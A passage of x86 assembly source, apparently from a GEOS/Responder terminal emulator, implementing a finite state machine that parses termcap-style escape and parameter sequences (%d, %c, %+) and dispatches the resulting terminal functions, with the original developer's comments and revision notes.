nuked out) add di, dx ;point to the action word mov cx, es:[di] ; and fetch it ret GetActionWord endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DoTokenFunction %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: process action descriptor CALLED BY: DoTokenAction PASS: al - current token bx - FSM machine token cx - action descriptor (holds offset into action chunk) es - dgroup RETURN: C - set if set next state - clear if called function DESTROYED: --- PSEUDO CODE/STRATEGY: **** when building the finite state tables this routine will never be called *** - get the action descriptor If INTERNAL function call (function) set next state to be current state If EXTERNAL function ProcCallMod (function) ** CAN'T USE CALL MOD ** set up arguments set next state to be ground state KNOWN BUGS/SIDE EFFECTS/IDEAS: FSMFunction table may not be built up correctly for modules other than Screen Module. Could move the check for unparesed characters to section right before we cal an EXTERNAL function. REVISION HISTORY: Name Date Description ---- ---- ----------- dennis 09/20/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DoTokenFunction proc near uses ds, si, di, ax, bx, bp .enter RSP < push cx, dx, si ; save them, don't trash> ; ; In Responder, we want to reduce the number of messages of saving ; and restoring international character. Therefore, we only do so if ; necessary. That means we only save and restore international ; characters (by sending MSG_SCR_SAVE/RESTORE_INTL_CHAR) only if the ; screen needs to be updatd via UpdateScreen or "ext" VT100 escape ; functions. Otherwise, if it only performs internal function, like ; converting number string to actual number, it doesn't save and ; restore international character at all. ; ; The way to tell if we have saved an international is by pushing 0 ; or -1 on stack ; 0: intl char not saved. -1: has intl char saved ; ; So, we don't end up saving international character twice or not ; restoring the character after saving. ; RSP < clr dx > RSP < push dx > tst es:[unParseNum] ;before calling function jle DTF_callFunc ;empty out the 'callback' bufer ; ; In Responder, we need to indicate we save an int'l character ; RSP < pop dx ; restore stack > RSP < mov dx, -1 ; use message > RSP < push dx ; re-insert signal > RSP < call FSMSaveIntlChar > GetResourceSegmentNS dgroup, ds call StoreUnParsedChars call UpdateScreen ;update screen before call func DTF_callFunc: mov ds, bx ;get FSM segment clr di ; mov bp, ds:[di].FSM_actionHandle ; mov bp, ds:[bp] ;ds:bp ->action chunk add bp, cx ;offset to desired descriptor push ds:[bp].FD_nextState ;get the next state and save it cmp ds:[bp].FD_internalFunc, NO_FUNC;call an internal func ? je DTF_ext ;nope DTF_int: call ds:[bp].FD_internalFunc ;yep cmp ds:[bp].FD_externalFunc, NO_FUNC;call an external function? jne DTF_ext ;yes clr di ;no, pt to FSM header RSP < pop ds:[di].FSM_curHandle ;set the next state > RSP < pop cx ; cx = Intlchar signal > RSP < jcxz noIntlCharSaved > RSP < call FSMRestoreIntlChar > RSP < noIntlCharSaved: > stc ;set internal func flag jmp short DTF_ret DTF_ext: ; ; Check the stack to see if we have saved int'l character already ; RSP < mov si, sp > RSP < inc si > RSP < inc si ; ss:si = IntlChar signal> RSP < tst {word}ss:[si] ; don't save if already saved> RSP < jnz intlCharSaved > RSP < mov {word} ss:[si], -1 > RSP < call FSMSaveIntlChar > RSP < intlCharSaved: > call ResetSavedState ; reset saved state call LoadArgs ;EXTERNAL-load the arguments mov ax, ds:[bp].FD_externalFunc ;load method if EXTRA_EC ;============================================================= push di, es GetResourceSegmentNS dgroup, es, ax tst es:[funcPtr] jnz haveStart wrapAround: mov di, offset funcBuf mov es:[funcPtr], di haveStart: mov di, es:[funcPtr] cmp di, ((offset funcBuf) + 100) jae wrapAround stosw mov es:[funcPtr], di pop di, es endif ;===================================================================== mov bx, es:[termuiHandle] CallScreenObj xor di, di ;clears C flag and DI RSP < pop ds:[di].FSM_curHandle ;set the next state > RSP < pop cx ; cx = IntlChar signal > RSP < jcxz DTF_ret ; jmp if needn't restore> RSP < call FSMRestoreIntlChar > RSP < clc ; return success > DTF_ret: NRSP < pop ds:[di].FSM_curHandle ;set the next state > RSP < pop cx, dx, si ; restore them > .leave ret DoTokenFunction endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% LoadArgs %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Load the registers with required arguments CALLED BY: DoTokenFunction PASS: bx - FSM machine token es - dgroup ds:bp - action descriptor RETURN: cx, dx - set with arguments for function ax - (Responder only) number of arguments for function DESTROYED: --- PSEUDO CODE/STRATEGY: first - fourth arg ch, cl, dh, dl KNOWN BUGS/SIDE EFFECTS/IDEAS: Can't put arguments in ax, bx cause CallMod trashes these registers. Can only use cx, and dx to pass args to function If assume that cx, dx are byte sized then can get four arguments REVISION HISTORY: Name Date Description ---- ---- ----------- dennis 09/26/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ LoadArgs proc near push bp, si, bx add bp, offset AD_argumentDesc ;offset to our arg descriptor mov si, offset argArray ;es:si-> arg array clr bh ;byte sized args mov bl, ds:[bp] ;get argument index cmp bl , ARG_NOT_USED ;is the argument valid je LA_check2nd ;no, mov ch, es:[si+bx] ;get argument value add ch, ds:[bp+1] ;and adjust it LA_check2nd: add bp, 2 ;point to next argument field mov bl, ds:[bp] cmp bl, ARG_NOT_USED je LA_ret mov cl, es:[si+bx] ;get argument add cl, ds:[bp+1] ;and adjust it LA_ret: pop bp, si, bx ret LoadArgs endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GetToken %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: set up a pointer to action descriptor stored in action chunk CALLED BY: FSMAugmentDesc, HandleIncrementParam PASS: bx - FSM machine token bx:[curHandle] - handle to current state es - dgroup es:[fileEnd] - points to end of buffer es:[fileHead] - points to place to read from buffer ds - buffer segment RETURN: AL token to parse C set if done parsing buffer Z set if token is last in current terminal sequence DESTROYED: al, si PSEUDO CODE/STRATEGY: if (curToken is '/' junk) Process the escaped chars if (curToken is '%' junk) UpdateACSize() Expand the parameters KNOWN BUGS/SIDE EFFECTS/IDEAS: ** all the subsequent routines have to update fileHead ** REVISION HISTORY: Name Date Description ---- ---- ----------- dennis 09/14/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GetToken proc near mov si, es:[fileHead] ;get ptr to place to read cmp si, es:[fileEnd] ;are we at end of file jge GT_fileDone mov al, ds:[si] ;get token call CheckToken ;sets return flags for mov es:[curToken], al ;store current token inc si ;point to next token mov es:[fileHead], si ;update file ptr cmp {byte} ds:[si], END_OF_SEQ ;set C if at end of sequence clc ;not at end of file jmp short GT_ret ; FSMAugment GT_fileDone: stc ;flag that file done GT_ret: ;FSMAugment looks at C and Z ret ; flag GetToken endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CheckToken %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Check If token is part of escaped character e.g. '\' or '^' CALLED BY: GetToken PASS: al - token to check ds:*si - token to check es - dgroup bx - FSM token RETURN: es:[fileHead] - points to place to read from next es:[curToken] - token to process al - token to process ds:si - points to next token to process DESTROYED: cl PSEUDO CODE/STRATEGY: If token is '^' make next character a control char if token is '/' then process the following escaped chars if token is '%' then update up argument descriptors KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- dennis 09/14/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CheckToken proc near cmp al, "^" ;is it a control char je CT_ctrl ; cmp al, "\\" ;is it escape sequence je CT_esc cmp al, "%" ;is it parameter flag je CT_param jmp short CT_ret ;done checking CT_ctrl: inc si ;yes, get the next char mov al, ds:[si] ;and make it a ctrl char and al, CTRL_MASK jmp short CT_ret CT_esc: call HandleEscape ;handle escaped characters jmp short CT_ret CT_param: call HandleParam CT_ret: ret CheckToken endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% HandleEscape %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Process Escaped characters CALLED BY: CheckToken PASS: bx - FSM machine token ds:si - points to beginning of escape sequence RETURN: al - token to process ah - ffh (if invalid escape sequence) 0 (if token valid) es - dgroup es:[inputBase] - set to current number format DESTROYED: cl PSEUDO CODE/STRATEGY: Convert the following escape sequence to their ascii value \b Backspace (ASCII 8) \e or \E Escape (ASCII 27, decimal) \f Formfeed (ASCII 10) \n Newline (ASCII 10) \r Carriage return (ASCII 13) \t Tab (ASCII 9) \\ Backslash itself \x<n> Character whose value is <n>, base 16 \<n> Character whose value is <n>, base 8 \[...\] Characters in the range given between the brackets. The range is specified in standard UNIX character range form, i.e. a character by itself indicates just that character; a string like 0-9 indicates the characters from 0 to 9, inclusive; a ^ at the start of the class causes a match for all characters not in the range. If - is to be included, it should be the first character in the class. \% Following argument to be used in CASE function d A string of digits. First non-digit ends argument. c A hex value KNOWN BUGS/SIDE EFFECTS/IDEAS: Since I'm comparing around 10 characters perhaps i should try to make some type of table coversion? REVISION HISTORY: Name Date Description ---- ---- ----------- dennis 09/14/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ HandleEscape proc near inc si mov al, ds:[si] ;get character to convert cmp al, "e" ;check for escape je HE_esc cmp al, "E" ;check for Escape je HE_esc cmp al, "n" ;check for newline je HE_n cmp al, "r" ;check for carriage return je HE_r cmp al, "t" ;check for tab je HE_t cmp al, "b" ;check for backspace je HE_bs cmp al, "f" ;check for form feed je HE_f cmp al, "x" ;check for hex value je HE_x cmp al, "%" je HE_param mov es:[inputBase], OCTAL ;set octal number base mov cl, al ;(pass token to check) push ax, bx ;save char and FSM tokens CallMod CheckIfNum pop ax, bx jc HE_error call ConvOctalNumber mov es:[inputBase], DECIMAL ;reset number base back to dec mov al, dl ;pass octal value jmp short HE_done HE_esc: mov al, CHAR_ESC jmp short HE_done HE_n: mov al, CHAR_NL jmp short HE_done HE_r: mov al, CHAR_CR jmp short HE_done HE_t: mov al, CHAR_TAB jmp short HE_done HE_bs: mov al, CHAR_BS jmp short HE_done HE_f: mov al, CHAR_FF jmp short HE_done HE_x: mov es:[inputBase], HEX ;set input number format call SetInternalFunc ;tell FSM to process number jmp short HE_done HE_param: inc si mov al, ds:[si] ;get number format cmp al, "d" ;if not decimal then error jne HE_error mov es:[inputBase], DECIMAL ;set input format to decimal call SetCaseFunc jmp short HE_done HE_error: mov ah, 0ffh ;signal error jmp short HE_ret ;leave SI pointing at error char HE_done: clr ah ;signal token okay HE_ret: ret HandleEscape endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% HandleParam %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: handle parameter specification in description file CALLED BY: CheckToken PASS: bx - FSM machine token ds:*si - token to check al - token to check es - dgroup RETURN: al - next token to process ds:si - points to this token DESTROYED: --- PSEUDO CODE/STRATEGY: %d - A string of digits. First non-digit ends argument (setup up internal function to convert Ascii numbers to hex value) %c - a single character whose value is stored as argument %+x - add x to value, then do % %i - decrement the value by one %r - reverse order of next two parameters KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- dennis 09/19/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ HandleParam proc near cmp es:[initAD], TRUE ;arg desc initialized? je HP_ok ;yes call InitArgDesc ;no HP_ok: inc si mov al, ds:[si] ;get paramter type cmp al, "c" ;is it a charater je HP_c ;no, flag error cmp al, "d" ;is it decimal format je HP_d ;yes, do it cmp al, "i" je HP_i cmp al, "+" je HP_offset jmp short HP_error ;error no match HP_c: call HandleCharParam jmp short HP_done HP_d: call HandleDecParam jmp short HP_done HP_i: call HandleIncrementParam ;processed '%i' jmp short HP_done HP_offset: call HandleOffset ;process '%+x' HP_done: mov es:[addToken], FALSE ;set flag that token ;shouldn't be added to table HP_error: HP_ret: ret HandleParam endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% HandleCharParam %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Handle a character parameter CALLED BY: HandleParam PASS: bx - FSM machine token ds:*si - token to check es - dgroup RETURN: --- DESTROYED: --- PSEUDO CODE/STRATEGY: Set a state that matches any token set internal function to store the next token value. (increment argument index) creates a new state sets next state to be this new state **** To indicate that this state maps all tokens either have a wildcard token (*) or make size of table entries 255. Have to modify SearchCurTable to do the right thing, **** Another hack in the code is to handle the string 'cm=%+ %+ :'in the /etc/termcap file. Currently the way the parser works is I get a token then I check to see if the token needs to be processed (i.e. escape or control chars need to be converted), if the token is part of a paramter string then I process that parameter string and return the next character as the character to be processed. So if '%dm' was a sequence and the token '%' was passed to CheckToken() then the parser would process '%d' invisibly and return 'm' as the token to handle next. The parser would notice that 'm' was the end of the sequence and set up for an external function to be called. Well with %+ %+ which I expanded in my termcap file to be '%+ %c%+ %c' When my CheckToken routine is passed the first '%' I'll process all four arguments before returning. Well the problem is that when handling the '%c' I add a '*' to the table, create a new state, and set the next state to be this new state that I created. To make a long story longer, I don't correctly detect end of sequence when you have a %sequnce as the last token in the sequence. My hack is that when i know KNOWN BUGS/SIDE EFFECTS/IDEAS: We needlessly create states that won't be used. For example, the sequence %c%c. When processing the first '%c' we create a state that will be used to process the next '%c'. When processing the second '%c' we also create another state, this state won't be used and is a waste. If we know that we won't ever get more than (2) %c is a row then can set flags not to create the extra states. REVISION HISTORY: Name Date Description ---- ---- ----------- dennis 09/20/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ HandleCharParam proc near push ds, si ;save ptr into char buffer mov al, CHAR_WILD ;add wildcard character call AddTokenToTable mov dx, es:[curACoffset] ; get ptr to action descriptor or dx, AD_FLAG ; flag that its a func desc call StoreActionWord ; and store it in state table mov ds, bx ;now fill in action block clr bp mov bp, ds:[bp].FSM_actionHandle ;ds:bp -> LMem handle mov bp, ds:[bp] ;ds:bp -> Lmem chunk mov si, es:[curACoffset] ; (store ptr to curent AD) add bp, si ;ds:bp -> current action desc mov cx, offset cs:GetChar ;point to get char routine mov ds:[bp].FD_internalFunc, cx ;set internal func ptr call MakeNewState clr bp ; (FSM block may have moved) mov bp, ds:[bp].FSM_actionHandle ; (So dereference it again) mov bp, ds:[bp] add bp, si mov ds:[bp].FD_nextState, ax ;store next state for this func clr si mov ds:[si].FSM_curHandle, ax ;current state is next state cmp es:[initAD], TRUE ;is the argument descriptor je HCP_ADok ; initialized? call InitArgDesc ;no HCP_ADok: mov si, es:[argNum] ;update the argument descriptor mov bp, offset argumentDesc ;calculate index into arg struct shl si, 1 ; mov cx, es:[argNum] ;store the argument number mov {byte} es:[bp+si], cl ; inc es:[argNum] ;increment argument count mov es:[reuseAD], TRUE ;if this is last token want mov dl, INTERNAL ; to reuse this action desc call UpdateACSize ;point to next action desc pop ds, si ;restore file ptr ret HandleCharParam endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GetChar %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: store the current token in the argument array CALLED BY: DoTokenFunction PASS: bx - FSM machine token es - dgroup al - token RETURN: DESTROYED: --- PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- dennis 11/06/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GetChar proc near mov di, offset argArray add di, es:[argNum] ;index into argument array mov {byte} es:[di], al ;and store current token inc es:[argNum] ret GetChar endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% HandleDecParam %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Handle decimal parameter PASS: bx - FSM machine token ds:si - file buffer es - dgroup dl - function type RETURN: --- DESTROYED: dl PSEUDO CODE/STRATEGY: Create a new state Two Ways : 1) Have all tokens map to a common internal function Internal function checks if character is a number CalcNumber Else Create a new state make new state cur state 2) Add entries 0-9 to this table make action word point to internal function : CalcNumber any non-digit gets added to this table just like normal To properly handle '%d' we create two state, first state is a first digit state. It only has entries for 0-9. The action word for these tokens is to go to another state that has also has tokens 0-9. The action words for these tokens is to call CalcNumber routine. Non-digits would be handled in this second state. If tokens 0-9 already in table then don't try to add them again, just go to their next state. KNOWN BUGS/SIDE EFFECTS/IDEAS: Is it okay to increment argument index here? We're adding ten token sequentially. Is this slow ? cauz we're shifting all the time? Do something smarter like add the ten char tokens to the table first then add the ten action words ? ** could expand this to HandleNumParam, so could be used to process octal, and hex numbers, LATER ** REVISION HISTORY: Name Date Description ---- ---- ----------- dennis 09/20/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ HandleDecParam proc near push ds, si ;save file ptr ; ; Enter 0-9 into character table if the wildcard digits have not been ; entered. ; HDP_topLoop: ; ; Test if wildcard digit has been entered in this state. If so, skip. ; mov ds, bx mov bp, ds:[0].FSM_curHandle ; bp <- lptr of current state mov bp, ds:[bp] ; dsbp<-fptr to state chunk cmp ds:[bp].SH_wildcardDigitAction, NULL_ACTION LONG jne HDP_alreadyInserted ; already there, skip! mov al, "0" HDP_notFound: mov cx, 10 ;create entries to get first # mov dx, es:[curACoffset] ;store ptr to internal function mov ds:[bp].SH_wildcardDigitAction, dx ; offset to action table or dx, AD_FLAG ; HDP_loop: call AddTokenToTable ;add tokens 0-9 to tabke call StoreActionWord ;store func desc to calc # routine inc al loop HDP_loop ; mov ds, bx ;now update the function ;descriptor clr bp ; beginning mov bp, ds:[bp].FSM_actionHandle ;ds:bp -> LMem handle mov bp, ds:[bp] ;ds:bp -> Lmem chunk mov si, es:[curACoffset] ; (store ptr to curent AD) add bp, si ;ds:bp -> current action desc mov cx, offset cs:CalcNumber ; mov ds:[bp].FD_internalFunc, cx ;flag internal func called mov es:[reuseAD], TRUE ;if this is last token want mov dl, INTERNAL ;to reuse it call UpdateACSize ;point to next action desc cmp es:[secondState],TRUE ;now fill in the next state je HDP_secondPass ;the next state for the first state call MakeNewState ;points to a new state clr bp ; (FSM block may have moved) ;ignore FUNCTION TYPE mov bp, ds:[bp].FSM_actionHandle ; (So dereference it again) mov bp, ds:[bp] add bp, si mov ds:[bp].FD_nextState, ax ; clr si ;new state is the current state. mov ds:[si].FSM_curHandle, ax ; mov es:[secondState],TRUE ;set flag to process next state jmp HDP_topLoop HDP_secondPass: ;the next state for the second mov es:[secondState], FALSE ;reset flag clr si mov ax, ds:[si].FSM_curHandle ;current state is next state mov ds:[bp].FD_nextState, ax ;for the internal functions HDP_skip: ;Do argument descriptor stuff cmp es:[initAD], TRUE ;is the argument descriptor je HDP_ADok ; initialized? call InitArgDesc ;no HDP_ADok: mov si, es:[argNum] ;update the argument descriptor mov bp, offset argumentDesc ;calculate index into arg struct shl si, 1 ; mov cx, es:[argNum] ;store the argument number mov {byte} es:[bp+si], cl ; inc es:[argNum] ;increment argument count pop ds, si ;restore file ptr ret HDP_alreadyInserted: ; ; The wildcard digits 0-9 has already been inserted. Now we move to ; that next state. Since %d means 1 or more digits, it actually ; points the next state which also has 0-9 wildcard digits.Since it ; recursively points to itself, we want to set this as the next ; state. ; mov bp, ds:[bp].SH_wildcardDigitAction ; bp <- offset to action table EC < push bp > EC < and bp, AD_FLAG > EC < ERROR_NZ -1 ; action stored should be pure offset to action table> EC < pop bp > mov di, ds:[0].FSM_actionHandle ; di <- action table lptr mov di, ds:[di] ; di <- begin of action table add di, bp ; di <- action table of ; wildcard digit segmov ds:[0].FSM_curHandle, ds:[di].FD_nextState, bp ; update the current state jmp HDP_skip HandleDecParam endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% HandleOffset %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Update offset field of argument descriptor CALLED BY: HandleParam PASS: bx - FSM machine token ds:*si+1 - token to check es - dgroup RETURN: --- DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- dennis 10/31/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ HandleOffset proc near inc si mov al, ds:[si] ;get offset amount cmp al, "\\" jne HO_char inc si ;point to octal # call ConvOctalNumber jmp short HO_ret HO_char: mov dl, al ;move token HO_ret: call UpdateArgOffset ret HandleOffset endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% HandleIncrementParam %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Set the argument adjust field CALLED BY: HandleParam PASS: bx - FSM machine token es - dgroup RETURN: --- DESTROYED: bp, cx PSEUDO CODE/STRATEGY: Set the current argument's adjust field to decrement one. KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- dennis 09/20/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ HandleIncrementParam proc near mov dl, 1 call UpdateArgOffset ret HandleIncrementParam endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% UpdateArgOffset %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: CALLED BY: PASS: bx - FSM machine token es - dgroup dl - amount to set the argument offset to RETURN: DESTROYED: bp, cx PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- dennis 11/01/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ UpdateArgOffset proc near push si mov si, es:[argNum] ;get argument # mov bp, offset argumentDesc ;calculate index into arg struct shl si, 1 ; si<-the right argument inc si ;point to adjust field ;(constant) neg dl ;negate the offset mov {byte} es:[bp+si], dl ; pop si ret UpdateArgOffset endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CalcNumber %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: calculate binary value of ascii string CALLED BY: FSMCreate PASS: bx - FSM machine token es - dgroup al - token to convert RETURN: --- DESTROYED: --- PSEUDO CODE/STRATEGY: If inNumFlag is FALSE (weren't previously in internal routine) inNumFlag = TRUE get new index to store number clear out number counter convert token passed Else convert token passed KNOWN BUGS/SIDE EFFECTS/IDEAS: This function is just like ConvertDecNumber should merge them, do it LATER ? :=) * only handles decimals * REVISION HISTORY: Name Date Description ---- ---- ----------- dennis 09/20/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CalcNumber proc near EC < cmp es:[argNum], MAX_EMULATION_ARG > EC < ERROR_AE TERM_MAX_EMULATION_ARGUMENT_EXCEEDED > cmp es:[inNumFlag], TRUE je CN_ok mov es:[inNumFlag], TRUE ;set up function junk mov di, offset argArray add di, es:[argNum] ;index into array to store number mov {byte} es:[di], 0 ;and clear it CN_ok: mov ch, al ;save the token mov di, offset argArray add di, es:[argNum] mov al, es:[di] mov cl, DECIMAL_BASE mul cl ;shift number over sub ch, "0" ;get tokens numeric value add al, ch ;add it to the number mov {byte} es:[di], al ;stuff in new value CN_ret: ret CalcNumber endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SetExternalFunc %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Set function to call for current token entry CALLED BY: FSMAugmentDesc PASS: ds:si - points to function to call al - current token es - dgroup bx - FSM machine token RETURN: ds:si - beginning of next line DESTROYED: cx, dx, bp PSEUDO CODE/STRATEGY: add current token to table get function to call set the function to call set next state to ground state KNOWN BUGS/SIDE EFFECTS/IDEAS: When dealing with terminal sequences that use parameters may on occasion add bogus tokens to a table that will never be reached. For example, cm='\EY%+ %c%+ %c 1' When finishing processing the last %c, we point to a new table. When SetExternalFunc gets called, we're pointing to a bogus table, and we'll shove bogus tokens into it, but we don't care cause all we want to do is set the the previous AD up correctly. REVISION HISTORY: Name Date Description ---- ---- ----------- dennis 09/15/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SetExternalFunc proc near push ds, es ;save buffer segment call AddTokenToTable ;store token mov dx, es:[curACoffset] ;store ptr to action descriptor or dx, AD_FLAG ; call StoreActionWord ; call SkipWhiteSpace mov ds, bx ;ds -> FSM segment clr bp push ds:[bp].FSM_groundHandle ;save the ground state mov bp, ds:[bp].FSM_actionHandle ;ds:[bp] -> LMem handle mov bp, ds:[bp] ;ds:[bp] -> Lmem chunk cmp es:[reuseAD], TRUE ;hack: reuse previous AD? jne 10$ ;nope call ReusePrevAD 10$: add bp, es:[curACoffset] ;ds:[bp] -> current action desc pop ds:[bp].FD_nextState ;next state for func ; is ground state cmp es:[initAD], TRUE ;arg descriptor initialized? je SEF_ADok ;yes call InitArgDesc ;no, default to no arguments SEF_ADok: ;copy the arg desc into call CopyArgDesc ; into the action desc mov es:[inputBase], DECIMAL ;functions are in decimal call GetFunction ; cx = method to call mov ds:[bp].FD_externalFunc, cx ;store method number mov dl, EXTERNAL call UpdateACSize ;point to next AD in chunk mov es:[initAD], FALSE ;action descriptor not initialized clr es:[argNum] ;nuke the argument count clr bp mov cx, ds:[bp].FSM_groundHandle ;set the current state mov ds:[bp].FSM_curHandle, cx ; to be ground state SEF_ret: pop ds, es ret SetExternalFunc endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CopyArgDesc %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Copy the argument structure into the action descriptor CALLED BY: SetExternalFunc PASS: bx - FSM machine token es - dgroup ds - FSM segment ds:bp - top of our current action descriptor RETURN: --- DESTROYED: cx, di PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- dennis 09/20/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CopyArgDesc proc near push es, ds, si mov di, bp ;di top of action desc add di, offset AD_argumentDesc ;ds:di -> arg descriptor mov si, ds ;swap es, ds segmov ds, es, cx mov es, si mov si, offset argumentDesc ;es:si -> idata arg ; array mov cx, size argumentDesc ;ds:si -> idata array EC < Assert_okForRepMovsb > shr cx ;cx <- #words to copy rep movsw ;es:di -> action desc pop es, ds, si ret 